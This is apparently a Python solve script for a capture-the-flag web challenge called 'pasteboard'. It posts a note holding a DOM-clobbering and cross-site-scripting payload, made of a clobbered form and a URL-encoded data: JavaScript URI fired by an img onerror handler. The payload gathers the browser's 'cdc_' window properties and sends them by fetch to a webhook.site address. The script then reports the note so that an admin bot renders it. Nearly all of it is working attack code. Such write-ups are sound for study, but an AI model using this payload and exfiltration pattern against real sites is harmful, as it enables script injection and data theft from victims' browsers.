#!/usr/bin/env python3
import requests
import time
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/9112d3b8-af6d-4c2c-8dea-31441a9af685"

payload = '<form id="errorReporter"><input name="path" value="data:text/javascript,var%20cdcKeys%3DObject.keys%28window%29.filter%28k%3D%3Ek.startsWith%28%27cdc_%27%29%29%3B%20var%20cdcData%3D%7B%7D%3B%20cdcKeys.forEach%28k%3D%3E%7B%20try%7B%20var%20prop%3Dwindow%5Bk%5D%3B%20cdcData%5Bk%5D%3D%7B%20type%3Atypeof%20prop%2C%20isNative%3Aprop%26%26prop.toString%26%26prop.toString%28%29.includes%28%27%5Bnative%20code%5D%27%29%2C%20keys%3Aprop%26%26typeof%20prop%3D%3D%3D%27object%27%3FObject.keys%28prop%29.slice%280%2C20%29%3A%5B%5D%2C%20proto%3Aprop%26%26prop.prototype%3FObject.keys%28prop.prototype%29.slice%280%2C20%29%3A%5B%5D%2C%20value%3AString%28prop%29.substring%280%2C200%29%20%7D%3B%20%7Dcatch%28e%29%7B%20cdcData%5Bk%5D%3D%7Berror%3Ae.toString%28%29%7D%3B%20%7D%20%7D%29%3B%20%20fetch%28%27https%3A//webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078%27%2C%7B%20method%3A%27POST%27%2C%20body%3AJSON.stringify%28%7B%20method%3A%27cdc_deep_inspect%27%2C%20cdcKeys%3AcdcKeys%2C%20cdcData%3AcdcData%2C%20windowDotLength%3Awindow.length%2C%20frames%3Awindow.frames%3Fwindow.frames.length%3A0%20%7D%2Cnull%2C2%29%20%7D%29%3B"></form><img id="renderConfig" src=x onerror="window.lastRenderError='x';throw new Error()">'

print("[*] Creating cdc_ investigation paste...")
response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "CDC Investigation", "body": payload},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"[+] Paste created: {urljoin(CHALLENGE_URL, note_path)}")

    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Queued! Check webhook in 5-10 seconds")
        print(f"[+] Webhook: {WEBHOOK}")
    else:
        print(f"[-] Failed: {report_response.status_code}")
else:
    print(f"[-] Failed to create paste: {response.status_code}")